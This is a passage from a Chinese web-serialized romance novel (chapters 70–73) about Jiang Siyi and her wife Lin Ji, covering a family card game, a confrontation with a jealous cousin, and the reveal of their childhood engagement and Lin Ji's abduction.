很幼稚的场面,更幼稚的做法。 但姜司意知道自己不能在当下离开。 没说话,用一种淡漠的目光直视回去。 林云汀烦死了,“Stella,你……” 宋缇直接甩了一个对子。 “对10。姜司意,要吗?” 姜司意手里有对Q,可以压她。 只是,现在这是她手中最大的牌了。 牌局过了大半,万一压了后宋缇还有更大的牌,有可能会输。 但,如果宋缇没更大的牌,她就能走完手里的顺子。 赢或输,就在此刻的选择。 姜司意的拇指轻压在握着的牌面上。 余光里看到宋缇正悠然看着她。 犹豫时,林棘的声音从她身后响起: “就这么出,没错。” 姜司意蓦然回头,刚才注意力太过集中,没发现林棘不仅回来了,还一如既往坐到她沙发的扶手上。 林棘单臂支在沙发背上,身子向姜司意倾斜,目光轻轻眺着打过的牌堆,从容又确定道: “她没更大的了。” 林棘一直没走远,在走廊处打电话。 目光落在牌局上。 一如既往下意识地关注和姜司意有关的所有事。 所以这局牌已经打出哪些牌,她记得。 原本想虚张声势迷惑姜司意的宋缇,被会算牌的林棘点破后,脸上自在的神色一点点消失。 【作者有话说】 林棘:宠妻第三十四步,懂的都懂5.0[让我康康] 70-80 第71章 ◎我只相信她的话。◎ “对6。” “炸了,没事。” “不出。” “对3,就对3,她没对了,压不了你。” 几盘下来,林棘还是靠在姜司意所坐的沙发背上,轻转着手里装着矿泉水的水杯。 三言两语之下让姜司意赢了一盘又一盘,将宋缇杀个片甲不留。 林云汀脸色越来越难看。 林雪泊则又让管家给倒了杯酒,慢慢品着。 大杀神坐下之后,没赢过一场。 她也会算牌,却没有林棘脑子转得快。 眼前的落花流水更是让她怀疑,以前和朋友打牌能赢得那么畅快,是不是那帮孙子为了跟她蹭吃蹭喝,故意输给她,逗她开心的。 又是一对4要不起之后,被戏弄的愤怒让宋缇“啪”的把手里没打完的牌全给丢桌上了,起身就走。 林云汀实在看不了她这幅自己作孽又输不起的样子。 很烦,可也只能跟出去。 宋缇以前也常来西山老宅,她和林棘在这儿都有自己的房间。 咕咚咕咚咕咚—— 给自己倒了一大杯酒,推开属于自己房间的门。 里面全是灰尘和霉味。 也不管,直接坐在盖了防尘布的床上,灌了自己一大口。 喝得太猛,呛得连连咳嗽,眼泪都咳出来了。 高跟鞋的声音传进房间,停在身后方。 林云汀没像以前那样,看到她不舒服就会关心她,着急她,过来抚她的后背帮她舒缓。 只站在不远处,冷眼看着。 “钱叔告诉你的?” 钱叔是林云汀一直合作的家政团队人员,老宅的水晶灯就是钱叔亲手换的。 宋缇也是他的雇主。 今天家宴突然转向无法遏制的尴尬,钱叔是最可疑的帮凶。 宋缇垂着头,没说话。 “你既然来了就去好好打个招呼,垮着个脸给谁看?我好不容易把你大姨和表姐、表嫂请来……” 宋缇抬头,咬牙切齿地打断母亲的话。 “她不是我表嫂,我不承认你听不懂吗?” 林云汀已经不会再因为她发疯和无礼生气了。 漠然地看着她,再一次确定自己已经死了心。 被打断之后也没恼怒,只顿了顿,林云汀继续说: “如果你来是想要破坏今天的家宴,那我可以恭喜你,你做到了。你破坏我和你父亲的心血,打碎了我们的努力,让我们白白低三下四了这么多天。我们家就此穷途末路。” 说到一半,笑了,看向这灰头土脸,烂泥一样的女儿。 唯一的女儿。 “不,你早就做到了。” 林云汀没多说的心情,离开了。 宋缇酒杯里的酒一口喝完。 难喝得要命,不喜欢酒精,甚至让她恶心。 可只有这些让她痛苦的感受,才能压下心里更多的空虚。 摇摇晃晃地走下楼。 她在院子里看到一只狗。 白白的,圆乎乎的狗。 一开始还以为是喝酒喝多了出现错觉,她们家没人养这种狗。 忽然想起,这是姜司意的微信头像,她养的狗, 对,是她的。 叫……雪球。 雪球黑漆漆的豆眼看向宋缇的方向。 宋缇还记得之前在姜司意家门口和它打过一个照面,不怎么喜欢它。 那时雪球刚被姜司意接回家没多长时间,又瘦毛发又稀疏,和土狗没两样,完全没有现在圆润可爱。 没想到居然还是一只品相不错的比熊犬。 宋缇:“雪球,过来。” 雪球可爱地歪了歪脑袋,撒开圆柱形的四肢,向她的方向*跑来。 你比姜司意有良心,还记得我。 宋缇弯腰,想将雪球抱起来。 雪球从她身侧一溜烟跑过,根本没停。 在宋缇错愕的注视下,看都没看她,往她身后奔去。 一只带着素圈戒指的手熟练地把它抱起。 林棘已经换去了礼节性的长裙,穿了一身轻便的衣裤。 宋缇紧盯着林棘,林棘却只看着怀里的雪球,细心地将它身上不知道从哪家来的半根草捻去。 雪球舔着她的手指,惬意地待在她怀中。 一人一狗看上去非常熟悉。 姜司意的狗,跟林棘这么亲? 更让宋缇难受的是,她发现林棘的发夹有些熟悉。 眯着眼仔细看,那也是姜司意的。 宋缇脑中不知哪根神经,不受控制一抽一抽地疼。 被酒精控制的大脑,藏不住话。 “姜司意的发夹。你戴她的发夹?” 宋缇脚步有些乱地往林棘的方向走。 林棘无甚表情地冷眼看她,放下雪球,让不远处的管家把雪球先带走。 花园里只剩她和宋缇。 “我用我妻子的发夹,有问题?” 直接而犀利,那双眼更是锋利。 宋缇被她反诘得哑口无言。 要是以往,难反驳半句,从得知她们结婚到现在,过去了不短的时间,从未敢置喙什么。 此时酒精借了她半个胆,被嫉妒之心灼红的眼也敢瞪向林棘了。 “她是我的未婚妻,从小我们就定了亲,一直以来她都是我的!你趁着我和她吵架把她抢走……你是我表姐,却趁虚而入!横刀夺爱!你怎么能这么做!” 宋缇终于把压抑在心里多时的话发泄了出来。 “我就说怎么以前我回家晚了,你总是会车接车送的。其实根本不是为了我对不对?你的目的一直都是她!你是不是早就处心积虑想把我的未婚妻偷走?!” 拳头攥得发紧。 发红的眼眶里尽是委屈的眼泪。 这段时间她一直在反复琢磨。 许多藏在时间缝隙里的细节,于某个无眠的夜里忽然闪现。 是啊,表姐对家里的同辈并不亲近,性格孤僻,怎么会愿意去接她。 车坏在郊外的那夜,也随叫随到了。 从来都不是为了她。 是为了姜司意,因为姜司意和她在一起。 表姐一直以来想呵护的人只是姜司意。 她倒是那个顺便的沾光的。 居然当了这么多年的傻子! 相比于宋缇的歇斯底里,林棘的表情没有任何变化,像看着一个失控的疯子,一只穷途末路无能狂怒的可怜虫。 直到她说出那一句——偷走我的未婚妻。 “你的未婚妻?” 淡然地反问,毫不避讳地向她走过来。 每前进一步,宋缇心中的恐慌感就增加一层,情不自禁地后退一步。 直到后脚跟抵到花圃的台阶,喝多了酒的人根本没有平衡感可言,整个人往后仰倒摔进去。 宋缇摔得眼前天旋地转,刚刚睁开眼,看见林棘锋利的高跟鞋鞋底就在眼前。 马上就要蹬到她脸上。 宋缇立刻抬手挡脸,害怕地叫“不要”。 想象中被鞋跟踹到破相的恐怖事件没有发生。 等宋缇喘着气缓缓降低手臂,看到林棘的鞋踩在自己的脸边。 只差一点点就真的要碾到。 居高临下的女人,正用一种看垃圾的眼神看着宋缇。 幸好,和司意长相厮守的人不是这废物。 不然的话,就算宋缇不出轨,往后但凡生活中遇到一点困难,都不说能不能保护,恐怕会第一时间躲到司意身后,拿司意当挡箭牌。 “当年在海岛与姜司意定亲的是我。你说的从小,是哪个从小?” 见宋缇一脸茫然,林棘冷嗤。 “你连海岛定亲的事都不知道。” 林棘缓缓弯下腰,那双眼距离宋缇越来越近。 分明没有多少情绪,但那直白的压迫感是宋缇从未感受过的。 来自于她从未涉足过的世界里凝萃出的狠,一种已经刻在骨子里的本能和底色。 像黑暗丛林里顶级掠食者锁定猎物时的静然,也是真的会在下一秒撕咬到对方血肉模糊的恐怖。 宋缇之前去找姜司意的麻烦,林棘都知道。 林雪泊还愿意为她和亲妹妹翻脸,她也看在眼里。 还有表亲这一层关系,为了母亲少受点烦,林棘忍过。 换来的却是三番四次蹬鼻子上脸。 还有脸贼喊捉贼。 “趁虚而入,偷走别人未婚妻,干这些勾当的不是你吗宋缇?” 拽着宋缇的衣领,轻而易举将干瘦的人拎起来。 “需要我帮你回忆一下?” 宋缇被自己的领子卡得几乎要窒息。 脚下蹬着想站起来。 可身子倾斜的角度被林棘压制着,根本无法站立,只能无措地向前踢着,脸色渐渐不自然地胀红。 林棘将这个挑衅的人轻易拖进了失序的世界。 她知道什么样的姿势,能让一个普通人最难堪,最狼狈。 “趁着我生死未卜,将她偷走。她最初对你有好感的相助,都是你缠着我让我帮你想的答案。连这一点点好感,都是你从我这儿窃走的。哪来的脸说我趁虚而入。” 字字句句,让宋缇的神色变得更加难看。 她都要忘了。 姜司意母亲过世后,跟家里的关系变得越来越糟,性格也越来越内向。 漂亮又内向的女孩,最是会被人欺负。 宋缇想让姜司意依赖她,想让漂亮的妹妹崇拜她,可她也不知道怎么解决难题。 当时林棘刚刚从国外“转学”回来,都说表姐是学霸,学霸肯定聪明,肯定有很多办法能解决问题。 所以,每次她都跟姜司意说,等我回去想一想,明天再告诉你怎么办。 然后她就去找林棘,把姜司意遇到的事重复一遍,只是没有说被欺负的主角是谁。 表姐的解决方法都非常有效。 姜司意对她越来越依赖。 林棘从来没有提过这些事,即便后来她知道宋缇的求助都是为了给姜司意脱困,也没有到姜司意面前邀过功。 没跟姜司意说过半个字。 时间一长,宋缇有了种错觉—— 那些巧妙的法子和表姐无关,是她告诉姜司意的,是她帮姜司意解决的。 姜司意对她的依赖,对她的回馈,全是她应得的。 看待姜司意也是个下位者。 承她照顾,托她恩情的下位者。 在姜司意提出退婚的最初,她不能接受的原因也在于此。 一个依靠她长大的人,怎么能退她的婚? 林棘的话戳破了她心里最后的一点理所当然。 她享受的崇拜也好,依赖也罢,全都是来自于林棘。 是林棘在暗中伸出的那只手,握紧了姜司意,拉着她走过痛苦的岁月。 宋缇眼眸一点点变得灰败。 挫败、窒闷、痛苦……交杂在心头,说不出话,甚至哭不出来。 说完一直以来想说的话,林棘的神色也渐渐归于平静。 放开了宋缇的衣领。 宋缇摔回凌乱的花圃中,咳嗽不止。 “你终究有护过她,为她着想过。” 林棘用眼角觑着。 “不要再去骚扰她,如果你还有一点廉耻之心。”。 人声不见,宋缇坐在污泥和杂草间,双眼放空了不知多久。 一切都很荒谬,不该是这样的。 可为什么不该这样,哪里出了错,被酒精弄坏的脑子已经想不出答案了。 夕阳西斜,浑身发痛的她费力地将烂泥一样的自己拔起来。 脖子还疼得难受。 听到了人声,听到了从主宅里传出来的零星笑声。 感觉那笑声像是在笑她的丑态,在谈论她莫名其妙失败的人生。 有个帮佣的阿姨看到她,“哎哟”一声。 “怎么啦怎么弄成这样?快去洗洗澡换身衣服吧。” 宋缇完全没搭理。 像一抹幽影,在老宅里不知道晃荡了多久,想念姜司意的心情像针,密密匝匝地扎在她心上…… 林棘找到雪球了,给姜司意打电话,分头行动的两人一起回到一楼院前走廊。 林棘摸着雪球的脑袋,把它放到姜司意的怀里。 “它没乱跑,是管家看它脚踩到酒渍弄脏了,带去擦了擦。” 刚才打牌一时注意力没在雪球身上,什么时候不见了都没发现。 看了下监控,分头去找它。 姜司意知道雪球不会乱跑的,在家里也不会有事,只是先前的遭遇让她心有余悸。 摸着雪球的脑袋,看着林棘。 没什么不对,一眼看不出任何异常。 可就是觉得林棘身上多了些陌生的气息和情绪。 “发生什么事了吗?” 姜司意有点担心地问。 不想宋缇的事脏了姜司意的耳朵,林棘淡笑道: “没事,回去了。” 姜司意:“……嗯,我去叫雪泊阿姨。” 姜司意抱着雪球上楼时,还回头看了林棘一眼。 林棘在接樊青的电话。 林云汀原本正在和林雪泊说生意上的事。 姜司意上来时,林云汀看了她一眼,笑了笑,闭了嘴。 林雪泊拉住姜司意的手,让她坐到自己身边。 “没什么是司意不能知道的,你继续说。” 与此同时,楼下。 樊青:【BOSS,姓周的又跑到公司来了,在公司里发疯。我已经报警。】 姓周的就是最近幻维收购案的主角。姓周的认死理,很难缠,要不是他一根筋,这次收购也不会这么艰难。 樊青:【后续事宜我会处理。现在需要BOSS回来参加最终尽调审议会。法务和财务团队已经在会议室等待BOSS了。】 林棘闭了闭眼,【嗯,我大概四十分钟左右到。】 樊青:【好的。】 林棘去楼上跟姜司意说自己要去公司一趟,让她一会儿坐林雪泊的车回家。 姜司意:“嗯嗯,那晚上家里见。” 林棘指尖情不自禁地轻划姜司意的手背,眷恋地凝望妻子片刻,说: “晚上家里见。” 林棘离开之后十五分钟,林雪泊和姜司意也准备走了。 林雪泊:“司意等我一下,我去卫生间。” “好。” 姜司意玩着雪球的头毛,坐在客厅沙发上等着林雪泊。 忽然看到周霓推开后院的门,斜斜靠在门边,警惕的目光扫向另一侧。 周霓出现,代表有危险靠近。 但不是严重的危险,毕竟周霓只是站在那儿,没有立刻行动。 是主动现身就能吓退对方的小事件。 “姜司意……” 听到这道声音,姜司意明白了。 缓缓转回头。 就算她知道来的人是宋缇,在亲眼看到落魄不堪浑身脏污的宋缇时,还是略有些惊讶。 也算是明白为什么觉得林棘身上多了些气息和情绪。 她们应该发生了碰撞。 看来林棘没有吃亏,姜司意稍稍安心。 宋缇看到周霓,认出了这个差点卸了她胳膊的疯子,没敢往前走,站在距离姜司意十步远的地方,边哭边说: “姜司意……你怎么都不跟我说话?你已经这么讨厌我了吗?” 她的眼泪没让姜司意有丝毫的动容。 翻来覆去的纠缠,只有烦累。 怀中的雪球对着她呲牙,喉咙里发出警告的声音。 姜司意垂眸看着雪球,耐心地将它毛发上的小疙瘩顺开。 “有事吗,表妹。” “表妹”两个字,让宋缇明显地怔愣。 这是在彻底跟她划清界限。 连生气都不会再对她生了。 憋屈和不甘终究化成了浓浓的怨憎。 我一身落魄,你们凭什么能过得这么好呢? “姜司意,你知不知道,其实最开始你的未婚妻就是林棘。” 要用一切来刺激她,要看姜司意失态的模样,要看到她们彼此误解、争吵,过不下去。 “你们从小就定了亲。” 这两句话的确让姜司意的眼眸里闪过一丝讶异。 宋缇笑道:“但她不要你了,悔婚了,我才接手。你以为她很喜欢你吗?你只是她随心所欲抛弃,又不甘心地抢回去的玩具。记得吧?她离开J城这么久,初中的时候才回来。” 这件事林雪泊一直保密,林棘也还在看病、吃药,不会跟姜司意说的。 而且姜司意的反应,也证实了她并不知道这件事。 当然不会说出真相,宋缇已经想好无数个谎言来让姜司意怀疑,让姜司意痛苦。 终于有了主导姜司意情绪的机会了。 想要她的在乎,哪怕只有恨都行。 不能接受姜司意和自己彻底断了关系。 这就是她今天出现在此的目的。 宋缇:“你想知道她当初为什么悔婚,为什么离开J城那么久吗?她就是在逃避和你的定——” 周霓已经活动好了手关节。 林棘在离开的时候联系她说,如果宋缇再来烦姜司意,半点都不用客气。 “不。” 姜司意平静的眼眸和笃定的话,吞噬了宋缇所有一厢情愿的惊涛骇浪。 “我只想听小佑自己跟我说。我只相信她的话。” 【作者有话说】 林棘:又是被老婆宠坏的一天[可怜][可怜] 72 第72章 ◎抱歉,没能跟你一起长大。◎ 小佑。 家里平辈人没有人敢叫的小名,姜司意说得如此亲密自然。 醉意在宋缇发冷的体温中逐渐流失。 周围的温度在下降,越来越冷。 不知是逐渐清醒的头脑看清了无论怎么作都再也无法博得关注的窘境,还是真实的低温带来的寒意,她被冻得鸡皮疙瘩战栗,缩起肩头。 大脑无法再运作,说不出半个字。 姜司意不再看她,抱着雪球站起身,望向不远处的林雪泊。 林雪泊正用一种和林棘微妙相似的眼神看宋缇。 压抑着的怒气中,更多的是失望和觉得可笑。 管家拉开大门,从西山上吹下的风荡进客厅,宋缇像只见了光的鬼,眯着眼往后倾斜身子。 姜司意看着远处西山山巅压下的阴云。 铅灰的天空和灿烂的红枫颜色反差鲜明,切割着视野,切成两片全然不同的世界。 “你已经和小时候完全不同了。” 小时候的宋缇,起码还有一颗愿意帮助别人的心。 无论这颗心有没有前置条件,在伸出援手的那一刻,它是带着善意的。 没有惋惜,只是陈述。 说完之后姜司意很干脆地离开。 抱着雪球一起坐入林雪泊的车中。 车载着姜司意彻底消失在宋缇的视野里,她的心一点点地紧缩,拧出无法克制的痛。 你已经和小时候完全不同了。 这句话投进宋缇的心湖,涟漪一圈圈荡开,心潮难平,让她痛苦而茫然。 为什么和小时候不同了? 玻璃窗里分明是自己的倒影,却很陌生。 骨瘦如柴,浑身污泥。 美丽、体面、笑容……未婚妻。 从什么时候开始,本该属于她的一切都不见了。 活成了没人在意的笑话。 空旷的老宅里,荡开一声无奈至极的疲倦叹息。 “何必来呢?” 林云汀已经累透,无论是家庭还是事业,无数的窟窿都在等着她去补。 铁打的人,也经不住这样的折腾。 林云汀只想当个撒手掌柜,什么都不做,好好睡一觉。 转身往楼上走,听到宋缇带着鼻音的微弱声音。 “妈,连你也不要我了么……”。 山道两侧的尽是西山的旖旎风光。 当下无人欣赏。 车内很安静。 趴在姜司意腿上的雪球都感受到了紧绷的气氛,用脑袋顶顶姜司意的手,再顶顶林雪泊的手。 毛茸茸的手感很软很舒服,蹭在掌心里的感受,让林雪泊回神。 林雪泊看向身边的姜司意,想说些什么,姜司意率先对她淡笑道: “没事的,别担心。” 很平静理智的语气,看得出来并没有沉浸在某种情绪里。 姜司意的懂事和能扛事儿,让林雪泊那颗恍惚的心有了着落。 司意不愿意从别人嘴里听小佑的过往,只相信小佑。 林雪泊很欣慰,小佑果然没有喜欢错人。 只是…… 刚才宋缇所言,她都听到了。 小佑那些痛苦的过往,家人好友一直小心翼翼呵护的伤口,就这样被生生撕扯开。 硬要她最爱的人去目睹最狰狞的疤痕。 即便司意再好,再温柔,那也是小佑最深的创伤。 如果就此揭开,林雪泊不敢想象,好不容易有向好趋势的病情,会不会再倒退甚至恶化…… 失去女儿的恐慌感,在多年之后又一次袭上心头,似冰似电,在她心口作祟。 林棘走失的那七年,不止改变了林棘的性格和生命轨迹,更是将林雪泊的心烫得千疮百孔。 此刻的她根本不知道自己的脸色有多苍白。 直到一只温暖的手将她握住。 “雪泊阿姨,您看看我。” 姜司意发现她双眼出神,从指尖到掌心凉得可怕,将她的手攥到掌心里温暖着,跟她说话。 让司机将空调温度往上调。 暖完了左手暖右手。 聪明的狗狗对熟悉之人状况改变是很敏感的,雪球也察觉到林雪泊的状态不对,趴到她腿上,主动钻到她怀里。 司机说:“姜小姐,冷暖箱里有罐装热茶。” 姜司意拿出热茶打开,递给林雪泊。 热茶入喉,身体从里面暖出来。 姜司意和雪球的安抚,让林雪泊心底里的冷意,随着呼吸慢慢吐出来。 脸庞也有了点血色。 “司意……” 林雪泊紧握着姜司意的手不放,刚才还冷如冰的手,此刻又渗出焦躁的汗。 “小佑从来没有想要主动离开你身边,可如果,小佑曾经……经历过不好的事,你能不能……不要嫌弃她。” 宋缇的话姜司意不会相信,也不会去思考该不该相信。 可林雪泊此刻问话中透露出的担忧,验证了很坏的可能性。 姜司意心跳有些快,干涩的喉咙不自禁地微微咽动。 按下那份不安和躁动,姜司意摇摇头。 “我也有不堪的过去,小佑亲眼所见也没有嫌弃过我,还一直用心爱我。如果没有她的呵护,现在的我不知道会过着什么样的生活,变成什么样的人……无论过去发生过什么,已经过去了。我喜欢的是现在的她,在我眼前的她。小佑是我要用一辈子去爱的妻子。”。 林语水岸。 散装吐司:【我到家了,在家等你哦。】 洗完澡坐在沙发上,发了微信给林棘。 不想她工作分心,在微信里没多说,只说等她。 意思是不会独自早睡,再次确定会等她回家。 林棘没回。 在开会,不好回的,姜司意明白。 姜司意将手机放在口袋里,先去遛雪球。 人车分流的社区夜晚很安静,偶有人声。 这般静谧,温度适宜的夜晚,她的注意力却一直无法集中。 心思不可避免地摇晃着,双眼出神,思考都变得困难。 雪球又一次走到了她前方,回头看看她,又退回到脚边,配合着她的步伐。 “姜小姐。” 从不远处的树后传来一道女声,以及慢吞吞的脚步声。 周霓走到路灯下,双手抄在上衣口袋里,靠在灯柱边面无表情看着姜司意。 每次相见都是危机当前,姜司意甚至从来没有在松懈的状态下,有大块的时间和周霓面对面,只记得她有些阴沉。 今晚,路灯下的她已经剪去了厚重的刘海,露出漂亮的丹凤眼,额头上那道竖直的伤疤若隐若现。 淡化了阴冷气息,整个人清丽了不少。 看她松弛的样子,眼下应该没有危险,只是有话要说。 很有边界感的周霓,还是第一次在没有危险时主动现身。 周霓:“方便吗?说两句。” 姜司意点点头,抱着雪球,坐到距离周霓最近的椅子上。 周霓紧贴着扶手坐下,和姜司意隔着足足一个人的距离,也没看她,只看向夜空。 “我和樊青命都不好,为了活下来做了很多……不太好的事。想改过自新,不愿意一辈子活得像只狗,只可惜没人愿意给我们机会。能理解,毕竟要承担风险。谁愿意为陌生人担风险呢?樊青比我幸运一些,两年前就遇到了她老板。我记得她得到这份工作那天,兴冲冲跑过来跟我说,有人愿意相信她,给她一次机会。她终于可以重活一次了,可以试着当个人了。” 周霓的话,让姜司意想起樊青脸上那道明显的疤。 有那道疤在,别说是贴身助理,就是最最普通的工作,面试时恐怕也会失利。 林棘不仅给了她这份工作,看上去两人相处得更像朋友。 想起樊青那天傻子一般开心,周霓总是紧绷的嘴角浮现了些许笑意。 目光自夜空收回,看向姜司意。 “后来我出了些事,非常需要用钱。樊青将我介绍给林老板。第一次见面的时候,我脸上都是伤,看上去就不像个安分的人,开价也很高。很莫名其妙吧,但没办法……本来以为这工作应该是没戏了,没想到林老板接纳了我。说她相信樊青的朋友。一天班还没上,就愿意预支一个月的薪水给我。她看上去凶神恶煞,其实比许多慈眉善目的人更有善意,更慷慨。” 姜司意听得入神。 这还是她第一次从另外一个角度看林棘,了解林棘的另一面。 “这世界上大多数都是伪善者,施舍一点善意,以此来获得更多的好处。林老板恰恰相反。我也想过,是什么样的经历让她对我们这样的人有同理心……” 思绪微有蔓延,周霓很是时候将它收回。 “樊青说,作为下属为她奉献一生,不会有任何负担,她愿意为林老板做任何事。我也会一直记得这份恩情。嗯,我是说,林老板绝不会是个喜欢玩弄人心的恶人。” 宋缇的话,她自然都听到了。 一向只卸人胳膊的周霓,意外说了这么多。 姜司意明白的。 林棘看上去很凶,其实是个外冷心热的人。 是个值得爱的人。 她如何被人仰慕、深爱,都不稀奇。 …… 抱着雪球回到家,在门口给雪球擦脚的时候,手机震了几下。 觉得是林棘的微信,就真的是。 ,:【我在回来的路上了。】 ,:【有样东西想给你看。】 看到这条微信时,姜司意的心跳被催着加速。 林棘应该知道宋缇在老宅里说的那些话了。 那,她要给我看什么。 ,:【在二楼,那个恒湿恒温柜里,有封信。你去看看。】 姜司意有些忐忑地走到二楼,打开了恒湿恒温柜。 里面躺着一封已经泛黄,明显有年代感的信纸。 ,:【在取出信之前,能不能戴上手套?】 是真的很在意这封信了。 姜司意心里有点儿酸劲,还是听话地从柜子下层拿出手套,戴上,取出信。 之前她就知道,这个柜子里一定存放在非常重要的东西。 可能和林棘心里一直深藏的那段感情有关。 是她头像的来源,是她心口的“朱砂痣”。 这封信,应该就是林棘用了许多年的头像。 姜司意的心还没来得及更难受,展开信,匆匆扫了一眼开头后,眸光有些停滞。 怎么觉得字迹有些眼熟? 信的开头,是一行清秀却稚气的蓝色圆珠笔笔迹。 【小梨妹妹,展信佳。】 小梨妹妹? 不是写给林棘的信? 不对……好熟悉。 这个“小梨妹妹”她好像在哪里听过。 将要想起某件事的感觉,如同看向水面上的波光粼粼。 明明很耀眼,明明就在眼前,想要锁定具体是哪一朵光亮时,它又在下一刻消失不见了。 “就真的一点都想不起来吗?” 林棘什么时候回来,站到她身后都不知晓。 姜司意被吓得一哆嗦。 “抱歉……我刚才叫了你。” 林棘轻轻帮她抚抚后背。 夜归的林棘带着些秋夜独有的干燥气息,洁净的冷香将姜司意包裹。 好像无论身处何地,面对何事,只要林棘在她身边,那份踏实感就能让姜司意从惴惴不安中回归理智。 有了林棘的提醒,再去看那封信,字字句句都好熟悉。 落款更是一瞬间唤醒了她的记忆。 【你的小姜姐姐】 以及一只幼稚的可爱卡通兔子。 这傻兔子她之前不久刚刚见过,在林棘的胸口。 是林棘的文身。 “这封信,是我写给你的?” 上楼之前,姜司意想过无数可能,唯有眼前这个结果大大出乎意料。 “嗯,当然是你写的。你居然都不记得了。本来还有信封,被我不小心弄丢了。” 说到弄丢的信封,林棘眉眼里便升起惋惜的愁绪。 姜司意勾勾她的手,安抚她的情绪。 即便当下的自己的脑子里云缠雾绕,上万个疑问。 “为什么我会写信给你?为什么会叫你小梨?为什么我会自称姐姐?” 林棘微不可闻地叹息。 屈起手指,在她脑袋上敲了敲。 “你是不是失过忆啊,姜司意。” “我,没啊。” 林棘开着玩笑,姜司意却格外当真。 努力回想的样子,让林棘笑出声。 紧绷的气氛被她太好看的笑容化解了。 感觉眼前一头雾水的人好好抱,林棘抱住姜司意,舍不得有一点距离,无奈说: “正常。小姜姐姐乐善好施,没往心里去也能理解。这么多年过去了,自然不记得。” “乐善好施”这四个字,忽然让姜司意脑中灵光闪现。 那是妈妈还在世时的事了,当时她还在上小学。 姜司意有些不能理解地看着林棘。 “她,是你?” 林棘点点头。 姜司意都不太记得小梨的具体长相了,只看过一张她在医院里的照片。 被病魔折磨得骨瘦伶仃,头发蓬乱,却有一双极漂亮的眼,用渴望的眼神看着镜头。 当时姜司意就是被她眼里透露出的绝望和希望交织的复杂情绪捕获。 为素未谋面的女孩难过。 多年过去,那双眼具体的模样被时间冲淡了。 即便忘记了照片里女孩的具体长相,想要活下去的眼神变成了一种氛围,依旧留在姜司意的记忆中。 “那不是贫困地区重病的女孩吗?怎么会是你呢?” 诸多猜测涌上心头,姜司意焦急地问。 林棘将自己的衣扣宽解,露出心上的文身。 和“小姜姐姐”画的那个简笔画一模一样的文身。 之前在恩爱的时候也有看到过它。 总怕自己胡思乱想,姜司意从未直视过。 没想到,这文身最初的原型,竟是自己随手画的小兔子。 林棘握住姜司意的手,轻轻抚上去。 文身之下,是旧伤的伤疤。 林棘说:“我没有悔婚,更没有抛弃你。只是,那时的我无法陪在你身边。抱歉,没能跟你一起长大。” 姜司意的心被她这句话弄得一紧一紧地发痛。 也就是说…… 我最开始的未婚妻,的确就是林棘。 “所以,到底发生什么事了?” 黑屋、极端的饥饿、看守的狗,精神折磨,满身的伤…… 但凡起了一个念头,这些记忆的碎片就会扎向心脏。 额头上出了一层冷汗,呼吸越来越困难。 即将被幽闭的黑暗再一次紧紧锁进去之前,姜司意抱住了她。 温柔的掌心抚在她的后脑上,往自己的颈窝里藏。 被姜司意环抱住的真实感,一瞬间驱散了黑暗幽闭的恐惧。 “别怕,宝贝,我在。” 抱着她的女孩,明明自己也有些发颤,却极力镇定着情绪和声线,安抚着她。 僵硬了很短的一霎,林棘更深地回抱住姜司意。 嗅着专属于姜司意的气息,实实在在的拥有缓解了焦虑。 “这件事有些可怕。你可以选择不知道。我会尽我全力不让它对我们的未来造成影响。” 姜司意抚着她的后背,摇摇头说: “我们是要过一辈子的。你的所有事我都想知道。告诉我吧,我不要再错过关于你的任何一件事了。” 【作者有话说】 林棘:继续被老婆宠坏[可怜][可怜] 73 第73章 ◎她还记得我吗?◎ 沐浴之后,躺在床上。 倒了温水,打开舒缓情绪的音乐。 一切准备就绪,希望这些能让姜司意听完她的事后,情绪别受太大的影响。 林棘抱着姜司意,在她耳边说起那件往事。 这件事的全貌是她的亲身经历,和后来林雪泊、孔郁琛,以及其他亲朋好友嘴里说的点点滴滴,共同拼接出来的。 姜司意没想到,原来上回林棘说心里埋下喜欢她种子的那年,就是她们定亲的那年。 那年她三岁,林棘六岁。 当时的林棘还姓孔。 原来林棘还改过姓。 姜司意在心里默念她以前的名字,有种奇怪的陌生感。 她还是比较喜欢“林棘”。 “咱们定亲的第二年,就是我七岁那年的生日,我被一个中年人贩子拐走。之后七年都没有在J城。” 生日那天。 姜司意心头发酸。 难怪她不喜欢过生日。 而且,七年。 这么久…… 这个时间跨度之长超出了姜司意的想象,让她心中一阵强烈的踏空感。 也确确实实地感受到了,接下来要知道的事情,的确非常残酷…… 前几年林棘的生日都是在林家过的,所以那一年生日前孔郁琛跟林雪泊商量,去孔家过一年。 奶奶身体不好,也不知道还能撑多久,一直很想孩子。 林雪泊不太喜欢孔家人,特别是孔郁琛他哥,把说教当爱好,喜欢使唤所有人按照他的心意行事,无论对谁都是一副老大哥的派头。见了面就要点评她的事业,教她哪些领域的投资该加码,哪些该撤就撤了。还暗示过她不要太强势,不利于家庭稳定。 林雪泊不喜欢跟他打交道,去孔家的次数很有限。 偏偏她婆婆人挺好,结婚这些年也没有亏待过她,对她就像亲女儿一样。 现在老人想孙女了,还说有一样特别的礼物要送给孩子,林雪泊当时身处事业的上升期,很忙,当天还得去别的城市出差。 那今年去孔家就去吧。 林雪泊做梦也想不到,从小到大几乎寸步不离的女儿,给丈夫带了一天,就丢了。 林棘奶奶只有两个儿子,没女儿,她有一枚从明代传下来的祖传青黄玉龙凤玉佩,传女不传男。 本来要给儿媳妇的,两个儿媳妇给谁都不太好。 给唯一的孙女正合适。 奶奶特别喜欢林棘,曾经跟林雪泊说,这孩子长得那么漂亮还聪明,有主见有担当,以后必定会有了不起的成就。 家传的玉佩,在这场生日宴上送给了林棘。 孔郁琛当场将玉佩挂在林棘的脖子上。 林棘谢过奶奶,奶奶开*心地又送她一个小兔子的毛绒玩偶。 玩偶是白色的垂耳兔造型,非常乖巧可爱,毛乎乎的手感很好。 不知道为什么,林棘看到它就想到自己的小未婚妻。 回家的路上一直抱着不撒手。 开车的孔郁琛还问她:“这么喜欢这只兔子啊?” 林棘揉揉它的脑袋,又抓抓她的耳朵。 “嗯,喜欢,像妹妹。” “妹妹?谁是妹妹?” 他们家就一个独生女,哪来的妹妹。 “司意。” 林棘从不喊别的比她小的女孩叫“妹妹”,表亲堂亲也不这么叫。 她口中的“妹妹”只指代一个人,只属于她的未婚妻。 跟女儿对着话,孔郁琛看了眼油箱里的油不多了。 其实坚持到家没问题,明天一早去公司也都够。 可那晚,他鬼使神差地想要去加满,加满了安心。 命运的诡谲之处就在于,谁也不知道哪个忽然而至的临时决定,会引发怎样难以承受的后果。 当一切都发生了,再去回忆命运的岔路口时,便会觉得那一刻的决定,莫名其妙到让人毛骨悚然。 孔郁琛带着林棘去了那个加油站。 